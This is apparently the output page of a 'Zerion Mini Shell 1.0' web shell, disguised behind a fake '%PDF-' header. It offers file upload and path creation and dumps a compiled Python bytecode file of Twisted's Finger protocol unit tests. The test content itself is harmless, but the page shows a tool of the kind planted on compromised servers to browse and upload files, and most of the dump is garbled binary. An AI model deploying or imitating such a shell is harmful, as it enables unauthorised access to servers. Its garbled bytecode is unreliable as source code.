%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_finger.cpython-312.pyc

�

Ϫ�f���V�dZddlmZddlmZddlmZGd�dej�Zy)z(
Tests for L{twisted.protocols.finger}.
�)�StringTransport)�finger)�unittestc�8�eZdZdZdd�Zdd�Zdd�Zdd�Zdd�Zy)	�FingerTestsz%
    Tests for L{finger.Finger}.
    Nc��t�|_tj�|_|jj|j�y)zA
        Create and connect a L{finger.Finger} instance.
        N)r�	transportr�Finger�protocol�makeConnection��selfs �:/usr/lib/python3/dist-packages/twisted/test/test_finger.py�setUpzFingerTests.setUps1��)�*����
�
���
��
�
�$�$�T�^�^�4�c��|jjd�|j|jj	�d�y)z�
        When L{finger.Finger} receives a CR LF terminated line, it responds
        with the default user status message - that no such user exists.
        smoshez
�Login: moshez
No such user
N�r�dataReceived�assertEqualr	�valuer
s r�test_simplezFingerTests.test_simples4��
	
�
�
�"�"�=�1�������-�-�/�1Q�Rrc��|jjd�|j|jj	�d�y)z�
        The behavior for a query which begins with C{"/w"} is the same as the
        behavior for one which does not.  The user is reported as not existing.
        s/w moshez
rNrr
s r�test_simpleWzFingerTests.test_simpleW"s5��
	
�
�
�"�"�#3�4�������-�-�/�1Q�Rrc��|jjd�|j|jj	�d�y)z�
        When L{finger.Finger} receives a request for a remote user, it responds
        with a message rejecting the request.
        smoshez@example.com
s!Finger forwarding service denied
Nrr
s r�test_forwardingzFingerTests.test_forwarding*s5��
	
�
�
�"�"�#<�=�������-�-�/�1V�Wrc��|jjd�|j|jj	�d�y)z�
        When L{finger.Finger} receives a blank line, it responds with a message
        rejecting the request for all online users.
        s
sFinger online list denied
Nrr
s r�	test_listzFingerTests.test_list2s4��
	
�
�
�"�"�7�+�������-�-�/�1O�Pr)�returnN)	�__name__�
__module__�__qualname__�__doc__rrrrr�rrrr
s$���5�S�S�X�QrrN)	r#�twisted.internet.testingr�twisted.protocolsr�
twisted.trialr�TestCaserr$rr�<module>r)s)���5�$�"�+Q�(�#�#�+Qr

Zerion Mini Shell 1.0